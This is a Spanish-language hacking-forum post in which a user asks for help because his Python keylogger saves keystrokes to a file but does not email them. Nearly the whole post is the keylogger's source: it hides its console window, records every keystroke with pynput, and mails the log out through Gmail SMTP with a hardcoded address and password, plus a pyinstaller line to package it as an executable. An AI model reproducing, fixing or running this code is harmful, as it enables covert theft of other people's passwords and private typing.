elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  error en keyloger en python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: error en keyloger en python  (Leído 2,052 veces)
sytem200

Desconectado Desconectado

Mensajes: 49


Ver Perfil
error en keyloger en python
« en: 26 Julio 2019, 15:35 pm »

tengo un problema en python   este codigo es un  keyloger  pero en la lapto de mi amigo funciona  manda los datos a  su gmail  este codigo fuente lo pongo en visual studio code  y lo vuelvo ejecutable  y lo ejecuto  no me funciona como es solo me manda a un txt no me manda al gmail  y no es el gmail  ni la contraseña porque lo e probado en otra lapto y funciona la verdad no se que es debe ser la version tengo 3.7 y mi amigo 2.7  




Código:
#!/usr/bin/env python    #interprete de ejecucion
#* coding: utf8 *


import pynput.keyboard

import smtplib #este modulo ya viene instalado por defecto en python
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

import win32console
import win32gui


ventana = win32console.GetConsoleWindow()

win32gui.ShowWindow(ventana,0)


log_file = open('log.txt','w+')


##########################################################
def enviar_datos():

msg=MIMEMultipart()

password="set1enbre"

msg['From'] = "pruebakey18@gmail.com"
msg['To']="pruebakey18@gmail.com"
#Asunto
msg['Subject']="Keylogger Prueba"

msg.attach(MIMEText(file('log.txt').read()))

try:
server= smtplib.SMTP('smtp.gmail.com:587')

server.starttls()
#Ahora tenemos que logearnos en nuestra cuenta de gmail
server.login(msg['From'],password)
#Envair el correo electronico , tiene 3 parametros
#el remitente (el que envia), el que recibe , mandar el contenido del correo electronico accediento al metodo asstring
server.sendmail(msg['From'],msg['To'],msg.as_string())
server.quit()
except:
pass

def imprimir():
#convertir en una variable de texto
teclas=''.join(lista_tecla)
log_file.write(teclas)
log_file.write('\n')
log_file.close()

time.sleep(3)
enviar_datos()

lista_tecla=[]

def convertir(key):

if isinstance(key,pynput.keyboard.KeyCode):
return key.char
else:
return str(key)


#imprimir lo q el usuario teclee
def presiona(key):
key1= convertir(key)

if key1 =="Key.esc":
print("Saliendo ..")
print(key1)
imprimir()
return False

elif key1 =="Key.space":
lista_tecla.append(" ")

elif key1 =="Key.enter":
lista_tecla.append('\n')

elif key1=="Key.backspace":
pass
#Que no haga añade nada
elif key1=="Key.tab":
pass
elif key1=="Key.caps_lock":
pass

elif key1=="Key.alt_r":
pass
elif key1=="Key.shift":
pass
else :
lista_tecla.append(key1)

with pynput.keyboard.Listener(on_press=presiona) as listen:
listen.join()
#para que escuche la herramienta

#pyinstaller --onefile keylogger.py




En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Necesito un keyloger
Seguridad
DuckHit 4 2,354 Último mensaje 25 Octubre 2014, 02:28 am
por Mister12
error en python corre bien pero marca error
Scripting
Joe Fraddy 3 2,631 Último mensaje 25 Agosto 2015, 19:06 pm
por engel lex
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines